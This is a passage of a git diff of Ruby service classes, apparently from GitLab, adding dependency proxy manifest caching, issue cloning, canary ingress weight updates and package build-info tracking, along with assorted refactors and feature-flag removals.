+ @http_status = http_status
+
+ super(message)
+ end
+ end
+
private
def registry
diff --git a/app/services/dependency_proxy/download_blob_service.rb b/app/services/dependency_proxy/download_blob_service.rb
index 3c690683bf6..b3548c8a126 100644
--- a/app/services/dependency_proxy/download_blob_service.rb
+++ b/app/services/dependency_proxy/download_blob_service.rb
@@ -2,16 +2,6 @@
module DependencyProxy
class DownloadBlobService < DependencyProxy::BaseService
- class DownloadError < StandardError
- attr_reader :http_status
-
- def initialize(message, http_status)
- @http_status = http_status
-
- super(message)
- end
- end
-
def initialize(image, blob_sha, token)
@image = image
@blob_sha = blob_sha
diff --git a/app/services/dependency_proxy/find_or_create_manifest_service.rb b/app/services/dependency_proxy/find_or_create_manifest_service.rb
new file mode 100644
index 00000000000..6b46f5e4c59
--- /dev/null
+++ b/app/services/dependency_proxy/find_or_create_manifest_service.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module DependencyProxy
+ class FindOrCreateManifestService < DependencyProxy::BaseService
+ def initialize(group, image, tag, token)
+ @group = group
+ @image = image
+ @tag = tag
+ @token = token
+ @file_name = "#{@image}:#{@tag}.json"
+ @manifest = nil
+ end
+
+ def execute
+ @manifest = @group.dependency_proxy_manifests
+ .find_or_initialize_by_file_name(@file_name)
+
+ head_result = DependencyProxy::HeadManifestService.new(@image, @tag, @token).execute
+
+ return success(manifest: @manifest) if cached_manifest_matches?(head_result)
+
+ pull_new_manifest
+ respond
+ rescue Timeout::Error, *Gitlab::HTTP::HTTP_ERRORS
+ respond
+ end
+
+ private
+
+ def pull_new_manifest
+ DependencyProxy::PullManifestService.new(@image, @tag, @token).execute_with_manifest do |new_manifest|
+ @manifest.update!(
+ digest: new_manifest[:digest],
+ file: new_manifest[:file],
+ size: new_manifest[:file].size
+ )
+ end
+ end
+
+ def cached_manifest_matches?(head_result)
+ @manifest && @manifest.digest == head_result[:digest]
+ end
+
+ def respond
+ if @manifest.persisted?
+ success(manifest: @manifest)
+ else
+ error('Failed to download the manifest from the external registry', 503)
+ end
+ end
+ end
+end
diff --git a/app/services/dependency_proxy/head_manifest_service.rb b/app/services/dependency_proxy/head_manifest_service.rb
new file mode 100644
index 00000000000..87d9c417c98
--- /dev/null
+++ b/app/services/dependency_proxy/head_manifest_service.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module DependencyProxy
+ class HeadManifestService < DependencyProxy::BaseService
+ def initialize(image, tag, token)
+ @image = image
+ @tag = tag
+ @token = token
+ end
+
+ def execute
+ response = Gitlab::HTTP.head(manifest_url, headers: auth_headers)
+
+ if response.success?
+ success(digest: response.headers['docker-content-digest'])
+ else
+ error(response.body, response.code)
+ end
+ rescue Timeout::Error => exception
+ error(exception.message, 599)
+ end
+
+ private
+
+ def manifest_url
+ registry.manifest_url(@image, @tag)
+ end
+ end
+end
diff --git a/app/services/dependency_proxy/pull_manifest_service.rb b/app/services/dependency_proxy/pull_manifest_service.rb
index fc54ef85c96..5c804489fd1 100644
--- a/app/services/dependency_proxy/pull_manifest_service.rb
+++ b/app/services/dependency_proxy/pull_manifest_service.rb
@@ -8,13 +8,25 @@ module DependencyProxy
@token = token
end
- def execute
+ def execute_with_manifest
+ raise ArgumentError, 'Block must be provided' unless block_given?
+
response = Gitlab::HTTP.get(manifest_url, headers: auth_headers)
if response.success?
- success(manifest: response.body)
+ file = Tempfile.new
+
+ begin
+ file.write(response)
+ file.flush
+
+ yield(success(file: file, digest: response.headers['docker-content-digest']))
+ ensure
+ file.close
+ file.unlink
+ end
else
- error(response.body, response.code)
+ yield(error(response.body, response.code))
end
rescue Timeout::Error => exception
error(exception.message, 599)
diff --git a/app/services/environments/canary_ingress/update_service.rb b/app/services/environments/canary_ingress/update_service.rb
new file mode 100644
index 00000000000..474c3de23d9
--- /dev/null
+++ b/app/services/environments/canary_ingress/update_service.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Environments
+ module CanaryIngress
+ class UpdateService < ::BaseService
+ def execute_async(environment)
+ result = validate(environment)
+
+ return result unless result[:status] == :success
+
+ Environments::CanaryIngress::UpdateWorker.perform_async(environment.id, params)
+
+ success
+ end
+
+ # This method actually executes the PATCH request to Kubernetes,
+ # that is used by internal processes i.e. sidekiq worker.
+ # You should always use `execute_async` to properly validate user's requests.
+ def execute(environment)
+ canary_ingress = environment.ingresses&.find(&:canary?)
+
+ unless canary_ingress.present?
+ return error(_('Canary Ingress does not exist in the environment.'))
+ end
+
+ if environment.patch_ingress(canary_ingress, patch_data)
+ success
+ else
+ error(_('Failed to update the Canary Ingress.'), :bad_request)
+ end
+ end
+
+ private
+
+ def validate(environment)
+ unless Feature.enabled?(:canary_ingress_weight_control, environment.project, default_enabled: true)
+ return error(_("Feature flag is not enabled on the environment's project."))
+ end
+
+ unless can?(current_user, :update_environment, environment)
+ return error(_('You do not have permission to update the environment.'))
+ end
+
+ unless params[:weight].is_a?(Integer) && (0..100).cover?(params[:weight])
+ return error(_('Canary weight must be specified and valid range (0..100).'))
+ end
+
+ if environment.has_running_deployments?
+ return error(_('There are running deployments on the environment. Please retry later.'))
+ end
+
+ if ::Gitlab::ApplicationRateLimiter.throttled?(:update_environment_canary_ingress, scope: [environment])
+ return error(_("This environment's canary ingress has been updated recently. Please retry later."))
+ end
+
+ success
+ end
+
+ def patch_data
+ {
+ metadata: {
+ annotations: {
+ Gitlab::Kubernetes::Ingress::ANNOTATION_KEY_CANARY_WEIGHT => params[:weight].to_s
+ }
+ }
+ }
+ end
+ end
+ end
+end
diff --git a/app/services/feature_flags/create_service.rb b/app/services/feature_flags/create_service.rb
index b4ca90f7aae..de3a55d10fc 100644
--- a/app/services/feature_flags/create_service.rb
+++ b/app/services/feature_flags/create_service.rb
@@ -5,7 +5,6 @@ module FeatureFlags
def execute
return error('Access Denied', 403) unless can_create?
return error('Version is invalid', :bad_request) unless valid_version?
- return error('New version feature flags are not enabled for this project', :bad_request) unless flag_version_enabled?
ActiveRecord::Base.transaction do
feature_flag = project.operations_feature_flags.new(params)
@@ -40,13 +39,5 @@ module FeatureFlags
def valid_version?
!params.key?(:version) || Operations::FeatureFlag.versions.key?(params[:version])
end
-
- def flag_version_enabled?
- params[:version] != 'new_version_flag' || new_version_feature_flags_enabled?
- end
-
- def new_version_feature_flags_enabled?
- ::Feature.enabled?(:feature_flags_new_version, project, default_enabled: true)
- end
end
end
diff --git a/app/services/git/base_hooks_service.rb b/app/services/git/base_hooks_service.rb
index ea5b2f401b3..1ca1bfa0c05 100644
--- a/app/services/git/base_hooks_service.rb
+++ b/app/services/git/base_hooks_service.rb
@@ -135,11 +135,12 @@ module Git
# We only need the last commit for the event push, and we don't
# need the full deltas either.
@event_push_data ||= Gitlab::DataBuilder::Push.build(
- push_data_params(commits: commits.last, with_changed_files: false))
+ **push_data_params(commits: commits.last, with_changed_files: false)
+ )
end
def push_data
- @push_data ||= Gitlab::DataBuilder::Push.build(push_data_params(commits: limited_commits))
+ @push_data ||= Gitlab::DataBuilder::Push.build(**push_data_params(commits: limited_commits))
# Dependent code may modify the push data, so return a duplicate each time
@push_data.dup
diff --git a/app/services/git/branch_hooks_service.rb b/app/services/git/branch_hooks_service.rb
index d00ca83441a..4edcff0e3d0 100644
--- a/app/services/git/branch_hooks_service.rb
+++ b/app/services/git/branch_hooks_service.rb
@@ -118,7 +118,7 @@ module Git
commits_to_sync = limited_commits.select { |commit| Atlassian::JiraIssueKeyExtractor.has_keys?(commit.safe_message) }.map(&:sha)
if branch_to_sync || commits_to_sync.any?
- JiraConnect::SyncBranchWorker.perform_async(project.id, branch_to_sync, commits_to_sync)
+ JiraConnect::SyncBranchWorker.perform_async(project.id, branch_to_sync, commits_to_sync, Atlassian::JiraConnect::Client.generate_update_sequence_id)
end
end
diff --git a/app/services/groups/create_service.rb b/app/services/groups/create_service.rb
index 016c31cbccc..52600f5b88f 100644
--- a/app/services/groups/create_service.rb
+++ b/app/services/groups/create_service.rb
@@ -34,7 +34,7 @@ module Groups
if @group.save
@group.add_owner(current_user)
@group.create_namespace_settings
- Service.create_from_active_default_integrations(@group, :group_id) if Feature.enabled?(:group_level_integrations, default_enabled: true)
+ Service.create_from_active_default_integrations(@group, :group_id)
end
end
diff --git a/app/services/groups/transfer_service.rb b/app/services/groups/transfer_service.rb
index aad574aeaf5..e800e546a45 100644
--- a/app/services/groups/transfer_service.rb
+++ b/app/services/groups/transfer_service.rb
@@ -28,9 +28,11 @@ module Groups
Group.transaction do
update_group_attributes
ensure_ownership
+ update_integrations
end
post_update_hooks(@updated_project_ids)
+ propagate_integrations
true
end
@@ -196,6 +198,17 @@ module Groups
raise TransferError, result[:message] unless result[:status] == :success
end
end
+
+ def update_integrations
+ @group.services.inherit.delete_all
+ Service.create_from_active_default_integrations(@group, :group_id)
+ end
+
+ def propagate_integrations
+ @group.services.inherit.each do |integration|
+ PropagateIntegrationWorker.perform_async(integration.id)
+ end
+ end
end
end
diff --git a/app/services/import/bitbucket_server_service.rb b/app/services/import/bitbucket_server_service.rb
index 86e8215821e..cdb23370ddc 100644
--- a/app/services/import/bitbucket_server_service.rb
+++ b/app/services/import/bitbucket_server_service.rb
@@ -81,11 +81,9 @@ module Import
def blocked_url?
Gitlab::UrlBlocker.blocked_url?(
url,
- {
- allow_localhost: allow_local_requests?,
- allow_local_network: allow_local_requests?,
- schemes: %w(http https)
- }
+ allow_localhost: allow_local_requests?,
+ allow_local_network: allow_local_requests?,
+ schemes: %w(http https)
)
end
diff --git a/app/services/import/github_service.rb b/app/services/import/github_service.rb
index 948dba2d206..847c5eb4397 100644
--- a/app/services/import/github_service.rb
+++ b/app/services/import/github_service.rb
@@ -31,9 +31,8 @@ module Import
project_name,
target_namespace,
current_user,
- access_params,
- type: provider
- ).execute(extra_project_attrs)
+ type: provider,
+ **access_params).execute(extra_project_attrs)
end
def repo
@@ -71,11 +70,9 @@ module Import
def blocked_url?
Gitlab::UrlBlocker.blocked_url?(
url,
- {
- allow_localhost: allow_local_requests?,
- allow_local_network: allow_local_requests?,
- schemes: %w(http https)
- }
+ allow_localhost: allow_local_requests?,
+ allow_local_network: allow_local_requests?,
+ schemes: %w(http https)
)
end
diff --git a/app/services/incident_management/incidents/update_severity_service.rb b/app/services/incident_management/incidents/update_severity_service.rb
index 5b150f3f02e..faa9277c469 100644
--- a/app/services/incident_management/incidents/update_severity_service.rb
+++ b/app/services/incident_management/incidents/update_severity_service.rb
@@ -12,7 +12,7 @@ module IncidentManagement
end
def execute
- return unless issuable.incident?
+ return unless issuable.supports_severity?
update_severity!
add_system_note
diff --git a/app/services/integrations/test/project_service.rb b/app/services/integrations/test/project_service.rb
index 39471d373f9..d72ca928c34 100644
--- a/app/services/integrations/test/project_service.rb
+++ b/app/services/integrations/test/project_service.rb
@@ -16,9 +16,7 @@ module Integrations
def data
strong_memoize(:data) do
- next pipeline_events_data if integration.is_a?(::PipelinesEmailService)
-
- case event
+ case event || integration.default_test_event
when 'push', 'tag_push'
push_events_data
when 'note', 'confidential_note'
@@ -37,8 +35,6 @@ module Integrations
deployment_events_data
when 'release'
releases_events_data
- else
- push_events_data
end
end
end
diff --git a/app/services/issuable/import_csv/base_service.rb b/app/services/issuable/import_csv/base_service.rb
index bf5f643a51b..5a2665285de 100644
--- a/app/services/issuable/import_csv/base_service.rb
+++ b/app/services/issuable/import_csv/base_service.rb
@@ -38,20 +38,19 @@ module Issuable
def with_csv_lines
csv_data = @csv_io.open(&:read).force_encoding(Encoding::UTF_8)
- verify_headers!(csv_data)
+ validate_headers_presence!(csv_data.lines.first)
- csv_parsing_params = {
+ CSV.new(
+ csv_data,
col_sep: detect_col_sep(csv_data.lines.first),
headers: true,
header_converters: :symbol
- }
-
- CSV.new(csv_data, csv_parsing_params).each.with_index(2)
+ ).each.with_index(2)
end
- def verify_headers!(data)
- headers = data.lines.first.downcase
- return if headers.include?('title') && headers.include?('description')
+ def validate_headers_presence!(headers)
+ headers.downcase! if headers
+ return if headers && headers.include?('title') && headers.include?('description')
raise CSV::MalformedCSVError
end
diff --git a/app/services/issues/base_service.rb b/app/services/issues/base_service.rb
index 978ea6fe9bc..25f319da03b 100644
--- a/app/services/issues/base_service.rb
+++ b/app/services/issues/base_service.rb
@@ -73,22 +73,6 @@ module Issues
Milestones::IssuesCountService.new(milestone).delete_cache
end
-
- # Applies label "incident" (creates it if missing) to incident issues.
- # Please use in "after" hooks only to ensure we are not appyling
- # labels prematurely.
- def add_incident_label(issue)
- return unless issue.incident?
-
- label = ::IncidentManagement::CreateIncidentLabelService
- .new(project, current_user)
- .execute
- .payload[:label]
-
- return if issue.label_ids.include?(label.id)
-
- issue.labels << label
- end
end
end
diff --git a/app/services/issues/clone_service.rb b/app/services/issues/clone_service.rb
new file mode 100644
index 00000000000..789da312958
--- /dev/null
+++ b/app/services/issues/clone_service.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module Issues
+ class CloneService < Issuable::Clone::BaseService
+ CloneError = Class.new(StandardError)
+
+ def execute(issue, target_project, with_notes: false)
+ @target_project = target_project
+ @with_notes = with_notes
+
+ unless issue.can_clone?(current_user, target_project)
+ raise CloneError, s_('CloneIssue|Cannot clone issue due to insufficient permissions!')
+ end
+
+ if target_project.pending_delete?
+ raise CloneError, s_('CloneIssue|Cannot clone issue to target project as it is pending deletion.')
+ end
+
+ super(issue, target_project)
+
+ notify_participants
+
+ queue_copy_designs
+
+ new_entity
+ end
+
+ private
+
+ attr_reader :target_project
+ attr_reader :with_notes
+
+ def update_new_entity
+ # we don't call `super` because we want to be able to decide whether or not to copy all comments over.
+ update_new_entity_description
+ update_new_entity_attributes
+ copy_award_emoji
+ copy_notes if with_notes
+ end
+
+ def update_old_entity
+ # no-op
+ # The base_service closes the old issue, we don't want that, so we override here so nothing happens.
+ end
+
+ def create_new_entity
+ new_params = {
+ id: nil,
+ iid: nil,
+ project: target_project,
+ author: current_user,
+ assignee_ids: original_entity.assignee_ids
+ }
+
+ new_params = original_entity.serializable_hash.symbolize_keys.merge(new_params)
+
+ # Skip creation of system notes for existing attributes of the issue. The system notes of the old
+ # issue are copied over so we don't want to end up with duplicate notes.
+ CreateService.new(target_project, current_user, new_params).execute(skip_system_notes: true)
+ end
+
+ def queue_copy_designs
+ return unless original_entity.designs.present?
+
+ response = DesignManagement::CopyDesignCollection::QueueService.new(
+ current_user,
+ original_entity,
+ new_entity
+ ).execute
+
+ log_error(response.message) if response.error?
+ end
+
+ def notify_participants
+ notification_service.async.issue_cloned(original_entity, new_entity, current_user)
+ end
+
+ def add_note_from
+ SystemNoteService.noteable_cloned(new_entity, target_project,
+ original_entity, current_user,
+ direction: :from)
+ end
+
+ def add_note_to
+ SystemNoteService.noteable_cloned(original_entity, old_project,
+ new_entity, current_user,
+ direction: :to)
+ end
+ end
+end
diff --git a/app/services/issues/create_service.rb b/app/services/issues/create_service.rb
index fb7683f940d..44de8eb6389 100644
--- a/app/services/issues/create_service.rb
+++ b/app/services/issues/create_service.rb
@@ -49,6 +49,22 @@ module Issues
def user_agent_detail_service
UserAgentDetailService.new(@issue, @request)
end
+
+ # Applies label "incident" (creates it if missing) to incident issues.
+ # For use in "after" hooks only to ensure we are not appyling
+ # labels prematurely.
+ def add_incident_label(issue)
+ return unless issue.incident?
+
+ label = ::IncidentManagement::CreateIncidentLabelService
+ .new(project, current_user)
+ .execute
+ .payload[:label]
+
+ return if issue.label_ids.include?(label.id)
+
+ issue.labels << label
+ end
end
end
diff --git a/app/services/issues/export_csv_service.rb b/app/services/issues/export_csv_service.rb
index 1dcdfb9faea..8f513632929 100644
--- a/app/services/issues/export_csv_service.rb
+++ b/app/services/issues/export_csv_service.rb
@@ -34,7 +34,7 @@ module Issues
private
def associations_to_preload
- %i(author assignees timelogs)
+ %i(author assignees timelogs milestone)
end
def header_to_value_hash
diff --git a/app/services/issues/update_service.rb b/app/services/issues/update_service.rb
index b9832400302..127ed04cf51 100644
--- a/app/services/issues/update_service.rb
+++ b/app/services/issues/update_service.rb
@@ -9,7 +9,7 @@ module Issues
handle_move_between_ids(issue)
filter_spam_check_params
change_issue_duplicate(issue)
- move_issue_to_new_project(issue) || update_task_event(issue) || update(issue)
+ move_issue_to_new_project(issue) || clone_issue(issue) || update_task_event(issue) || update(issue)
end
def update(issue)
@@ -34,7 +34,6 @@ module Issues
end
def after_update(issue)
- add_incident_label(issue)
IssuesChannel.broadcast_to(issue, event: 'updated') if Gitlab::ActionCable::Config.in_app? || Feature.enabled?(:broadcast_issue_updates, issue.project)
end
@@ -127,6 +126,18 @@ module Issues
private
+ def clone_issue(issue)
+ target_project = params.delete(:target_clone_project)
+ with_notes = params.delete(:clone_with_notes)
+
+ return unless target_project &&
+ issue.can_clone?(current_user, target_project)
+
+ # we've pre-empted this from running in #execute, so let's go ahead and update the Issue now.
+ update(issue)
+ Issues::CloneService.new(project, current_user).execute(issue, target_project, with_notes: with_notes)
+ end
+
def create_merge_request_from_quick_action
create_merge_request_params = params.delete(:create_merge_request)
return unless create_merge_request_params
diff --git a/app/services/jira/requests/base.rb b/app/services/jira/requests/base.rb
index 4ed8df0f235..098aae9284c 100644
--- a/app/services/jira/requests/base.rb
+++ b/app/services/jira/requests/base.rb
@@ -18,14 +18,19 @@ module Jira
request
end
+ # We have to add the context_path here because the Jira client is not taking it into account
def base_api_url
- "/rest/api/#{api_version}"
+ "#{context_path}/rest/api/#{api_version}"
end
private
attr_reader :jira_service, :project
+ def context_path
+ client.options[:context_path].to_s
+ end
+
# override this method in the specific request class implementation if a differnt API version is required
def api_version
JIRA_API_VERSION
diff --git a/app/services/jira_connect/sync_service.rb b/app/services/jira_connect/sync_service.rb
index f8855fb6deb..b2af284f1f0 100644
--- a/app/services/jira_connect/sync_service.rb
+++ b/app/services/jira_connect/sync_service.rb
@@ -6,13 +6,15 @@ module JiraConnect
self.project = project
end
- def execute(commits: nil, branches: nil, merge_requests: nil, update_sequence_id: nil)
- JiraConnectInstallation.for_project(project).each do |installation|
+ # Parameters: see Atlassian::JiraConnect::Client#send_info
+ # Includes: update_sequence_id, commits, branches, merge_requests, pipelines
+ def execute(**args)
+ JiraConnectInstallation.for_project(project).flat_map do |installation|
client = Atlassian::JiraConnect::Client.new(installation.base_url, installation.shared_secret)
- response = client.store_dev_info(project: project, commits: commits, branches: branches, merge_requests: merge_requests, update_sequence_id: update_sequence_id)
+ responses = client.send_info(project: project, **args)
- log_response(response)
+ responses.each { |r| log_response(r) }
end
end
@@ -29,7 +31,7 @@ module JiraConnect
jira_response: response&.to_json
}
- if response && response['errorMessages']
+ if response && (response['errorMessages'] || response['rejectedBuilds'].present?)
logger.error(message)
else
logger.info(message)
diff --git a/app/services/members/create_service.rb b/app/services/members/create_service.rb
index 088e6f031c8..3588cda180f 100644
--- a/app/services/members/create_service.rb
+++ b/app/services/members/create_service.rb
@@ -38,6 +38,8 @@ module Members
end
end
+ enqueue_onboarding_progress_action(source) if members.size > errors.size
+
return success unless errors.any?
error(errors.to_sentence)
@@ -50,6 +52,10 @@ module Members
limit && limit < 0 ? nil : limit
end
+
+ def enqueue_onboarding_progress_action(source)
+ Namespaces::OnboardingUserAddedWorker.perform_async(source.id)
+ end
end
end
diff --git a/app/services/members/invitation_reminder_email_service.rb b/app/services/members/invitation_reminder_email_service.rb
index e589cdc2fa3..688618ec4b4 100644
--- a/app/services/members/invitation_reminder_email_service.rb
+++ b/app/services/members/invitation_reminder_email_service.rb
@@ -14,8 +14,6 @@ module Members
end
def execute
- return unless experiment_enabled?
-
reminder_index = days_on_which_to_send_reminders.index(days_after_invitation_sent)
return unless reminder_index
@@ -24,10 +22,6 @@ module Members
private
- def experiment_enabled?
- Gitlab::Experimentation.enabled_for_attribute?(:invitation_reminders, invitation.invite_email)
- end
-
def days_after_invitation_sent
(Date.today - invitation.created_at.to_date).to_i
end
diff --git a/app/services/merge_requests/after_create_service.rb b/app/services/merge_requests/after_create_service.rb
index f0c85ae03c9..fbb9d5fa9dc 100644
--- a/app/services/merge_requests/after_create_service.rb
+++ b/app/services/merge_requests/after_create_service.rb
@@ -11,6 +11,8 @@ module MergeRequests
merge_request.diffs(include_stats: false).write_cache
merge_request.create_cross_references!(current_user)
+
+ NamespaceOnboardingAction.create_action(merge_request.target_project.namespace, :merge_request_created)
end
end
end
diff --git a/app/services/merge_requests/base_service.rb b/app/services/merge_requests/base_service.rb
index aa591312c6a..265b211066e 100644
--- a/app/services/merge_requests/base_service.rb
+++ b/app/services/merge_requests/base_service.rb
@@ -58,7 +58,7 @@ module MergeRequests
return unless project.jira_subscription_exists?
if Atlassian::JiraIssueKeyExtractor.has_keys?(merge_request.title, merge_request.description)
- JiraConnect::SyncMergeRequestWorker.perform_async(merge_request.id)
+ JiraConnect::SyncMergeRequestWorker.perform_async(merge_request.id, Atlassian::JiraConnect::Client.generate_update_sequence_id)
end
end
diff --git a/app/services/merge_requests/update_service.rb b/app/services/merge_requests/update_service.rb
index 8c069ea5bb0..bff7a43dd7b 100644
--- a/app/services/merge_requests/update_service.rb
+++ b/app/services/merge_requests/update_service.rb
@@ -11,7 +11,7 @@ module MergeRequests
params.delete(:target_project_id)
params.delete(:source_branch)
- if merge_request.closed_without_fork?
+ if merge_request.closed_or_merged_without_fork?
params.delete(:target_branch)
params.delete(:force_remove_source_branch)
end
diff --git a/app/services/notes/create_service.rb b/app/services/notes/create_service.rb
index b2826b5c905..9fffb6c372b 100644
--- a/app/services/notes/create_service.rb
+++ b/app/services/notes/create_service.rb
@@ -67,7 +67,7 @@ module Notes
track_event(note, current_user)
if Feature.enabled?(:notes_create_service_tracking, project)
- Gitlab::Tracking.event('Notes::CreateService', 'execute', tracking_data_for(note))
+ Gitlab::Tracking.event('Notes::CreateService', 'execute', **tracking_data_for(note))
end
if note.for_merge_request? && note.diff_note? && note.start_of_discussion?
diff --git a/app/services/notification_service.rb b/app/services/notification_service.rb
index 85113d3ca22..4ff462191fe 100644
--- a/app/services/notification_service.rb
+++ b/app/services/notification_service.rb
@@ -353,7 +353,7 @@ class NotificationService
issue = note.noteable
support_bot = User.support_bot
- return unless issue.service_desk_reply_to.present?
+ return unless issue.external_author.present?
return unless issue.project.service_desk_enabled?
return if note.author == support_bot
return unless issue.subscribed?(support_bot, issue.project)
@@ -380,6 +380,10 @@ class NotificationService
end
end
+ def user_admin_rejection(name, email)
+ mailer.user_admin_rejection_email(name, email).deliver_later
+ end
+
# Members
def new_access_request(member)
return true unless member.notifiable?(:subscription)
@@ -500,6 +504,16 @@ class NotificationService
end
end
+ def issue_cloned(issue, new_issue, current_user)
+ recipients = NotificationRecipients::BuildService.build_recipients(issue, current_user, action: 'cloned')
+
+ recipients.map do |recipient|
+ email = mailer.issue_cloned_email(recipient.user, issue, new_issue, current_user, recipient.reason)
+ email.deliver_later
+ email
+ end
+ end
+
def project_exported(project, current_user)
return true unless notifiable?(current_user, :mention, project: project)
diff --git a/app/services/onboarding_progress_service.rb b/app/services/onboarding_progress_service.rb
new file mode 100644
index 00000000000..ebe7caabdef
--- /dev/null
+++ b/app/services/onboarding_progress_service.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class OnboardingProgressService
+ def initialize(namespace)
+ @namespace = namespace.root_ancestor
+ end
+
+ def execute(action:)
+ NamespaceOnboardingAction.create_action(@namespace, action)
+ end
+end
diff --git a/app/services/packages/composer/create_package_service.rb b/app/services/packages/composer/create_package_service.rb
index 2d2f1568187..0f5429f667e 100644
--- a/app/services/packages/composer/create_package_service.rb
+++ b/app/services/packages/composer/create_package_service.rb
@@ -16,6 +16,8 @@ module Packages
composer_json: composer_json
})
end
+
+ created_package
end
private
diff --git a/app/services/packages/conan/create_package_file_service.rb b/app/services/packages/conan/create_package_file_service.rb
index 2db5c4e507b..1bde9606492 100644
--- a/app/services/packages/conan/create_package_file_service.rb
+++ b/app/services/packages/conan/create_package_file_service.rb
@@ -12,7 +12,7 @@ module Packages
end
def execute
- package.package_files.create!(
+ package_file = package.package_files.build(
file: file,
size: params['file.size'],
file_name: params[:file_name],
@@ -25,6 +25,13 @@ module Packages
conan_file_type: params[:conan_file_type]
}
)
+
+ if params[:build].present?
+ package_file.package_file_build_infos << package_file.package_file_build_infos.build(pipeline: params[:build].pipeline)
+ end
+
+ package_file.save!
+ package_file
end
end
end
diff --git a/app/services/packages/create_event_service.rb b/app/services/packages/create_event_service.rb
index c4492389da9..f0328ceb08a 100644
--- a/app/services/packages/create_event_service.rb
+++ b/app/services/packages/create_event_service.rb
@@ -4,7 +4,11 @@ module Packages
class CreateEventService < BaseService
def execute
if Feature.enabled?(:collect_package_events_redis) && redis_event_name
- ::Gitlab::UsageDataCounters::HLLRedisCounter.track_event(current_user.id, redis_event_name)
+ if guest?
+ ::Gitlab::UsageDataCounters::GuestPackageEventCounter.count(redis_event_name)
+ else
+ ::Gitlab::UsageDataCounters::HLLRedisCounter.track_event(current_user.id, redis_event_name)
+ end
end
if Feature.enabled?(:collect_package_events) && Gitlab::Database.read_write?
@@ -45,5 +49,9 @@ module Packages
:guest
end
end
+
+ def guest?
+ originator_type == :guest
+ end
end
end
diff --git a/app/services/packages/create_package_service.rb b/app/services/packages/create_package_service.rb
index e3b0ad218e2..fcf252cf971 100644
--- a/app/services/packages/create_package_service.rb
+++ b/app/services/packages/create_package_service.rb
@@ -8,9 +8,9 @@ module Packages
project
.packages
.with_package_type(package_type)
- .safe_find_or_create_by!(name: name, version: version) do |pkg|
- pkg.creator = package_creator
- yield pkg if block_given?
+ .safe_find_or_create_by!(name: name, version: version) do |package|
+ package.creator = package_creator
+ add_build_info(package)
end
end
@@ -18,7 +18,9 @@ module Packages
project
.packages
.with_package_type(package_type)
- .create!(package_attrs(attrs))
+ .create!(package_attrs(attrs)) do |package|
+ add_build_info(package)
+ end
end
private
@@ -34,5 +36,11 @@ module Packages
def package_creator
current_user if current_user.is_a?(User)
end
+
+ def add_build_info(package)
+ if params[:build].present?
+ package.build_infos.new(pipeline: params[:build].pipeline)
+ end
+ end
end
end
diff --git a/app/services/packages/generic/create_package_file_service.rb b/app/services/packages/generic/create_package_file_service.rb
index f25e8b0ae56..b14b1c193ec 100644
--- a/app/services/packages/generic/create_package_file_service.rb
+++ b/app/services/packages/generic/create_package_file_service.rb
@@ -18,9 +18,12 @@ module Packages
build: params[:build]
}
- ::Packages::Generic::FindOrCreatePackageService
+ package = ::Packages::Generic::FindOrCreatePackageService
.new(project, current_user, package_params)
.execute
+
+ package.build_infos.safe_find_or_create_by!(pipeline: params[:build].pipeline) if params[:build].present?
+ package
end
def create_package_file(package)
diff --git a/app/services/packages/generic/find_or_create_package_service.rb b/app/services/packages/generic/find_or_create_package_service.rb
index 97f774a836b..0a6099e4d35 100644
--- a/app/services/packages/generic/find_or_create_package_service.rb
+++ b/app/services/packages/generic/find_or_create_package_service.rb
@@ -4,11 +4,7 @@ module Packages
module Generic
class FindOrCreatePackageService < ::Packages::CreatePackageService
def execute
- find_or_create_package!(::Packages::Package.package_types['generic']) do |package|
- if params[:build].present?
- package.build_infos.new(pipeline: params[:build].pipeline)
- end
- end
+ find_or_create_package!(::Packages::Package.package_types['generic'])
end
end
end
diff --git a/app/services/packages/maven/find_or_create_package_service.rb b/app/services/packages/maven/find_or_create_package_service.rb
index a2a61ff8d93..f598b5e7cd4 100644
--- a/app/services/packages/maven/find_or_create_package_service.rb
+++ b/app/services/packages/maven/find_or_create_package_service.rb
@@ -46,7 +46,7 @@ module Packages
.execute
end
- package.build_infos.create!(pipeline: params[:build].pipeline) if params[:build].present?
+ package.build_infos.safe_find_or_create_by!(pipeline: params[:build].pipeline) if params[:build].present?
package
end
diff --git a/app/services/packages/npm/create_package_service.rb b/app/services/packages/npm/create_package_service.rb
index c4b75348bba..22396eb7687 100644
--- a/app/services/packages/npm/create_package_service.rb
+++ b/app/services/packages/npm/create_package_service.rb
@@ -17,10 +17,6 @@ module Packages
def create_npm_package!
package = create_package!(:npm, name: name, version: version)
- if build.present?
- package.build_infos.create!(pipeline: build.pipeline)
- end
-
::Packages::CreatePackageFileService.new(package, file_params).execute
::Packages::CreateDependencyService.new(package, package_dependencies).execute
::Packages::Npm::CreateTagService.new(package, dist_tag).execute
@@ -50,10 +46,6 @@ module Packages
params[:versions][version]
end
- def build
- params[:build]
- end
-
def dist_tag
params['dist-tags'].each_key.first
end
diff --git a/app/services/packages/pypi/create_package_service.rb b/app/services/packages/pypi/create_package_service.rb
index c49efca0fc5..cb8d9559dc9 100644
--- a/app/services/packages/pypi/create_package_service.rb
+++ b/app/services/packages/pypi/create_package_service.rb
@@ -19,6 +19,8 @@ module Packages
Packages::Pypi::Metadatum.upsert(meta.attributes)
::Packages::CreatePackageFileService.new(created_package, file_params).execute
+
+ created_package
end
end
@@ -32,6 +34,7 @@ module Packages
def file_params
{
+ build: params[:build],
file: params[:content],
file_name: params[:content].original_filename,
file_md5: params[:md5_digest],
diff --git a/app/services/pages/legacy_storage_lease.rb b/app/services/pages/legacy_storage_lease.rb
new file mode 100644
index 00000000000..3f42fc8c63b
--- /dev/null
+++ b/app/services/pages/legacy_storage_lease.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Pages
+ module LegacyStorageLease
+ extend ActiveSupport::Concern
+
+ include ::ExclusiveLeaseGuard
+
+ LEASE_TIMEOUT = 1.hour
+
+ # override method from exclusive lease guard to guard it by feature flag
+ # TODO: just remove this method after testing this in production
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/282464
+ def try_obtain_lease
+ return yield unless Feature.enabled?(:pages_use_legacy_storage_lease, project, default_enabled: true)
+
+ super
+ end
+
+ def lease_key
+ "pages_legacy_storage:#{project.id}"
+ end
+
+ def lease_timeout
+ LEASE_TIMEOUT
+ end
+ end
+end
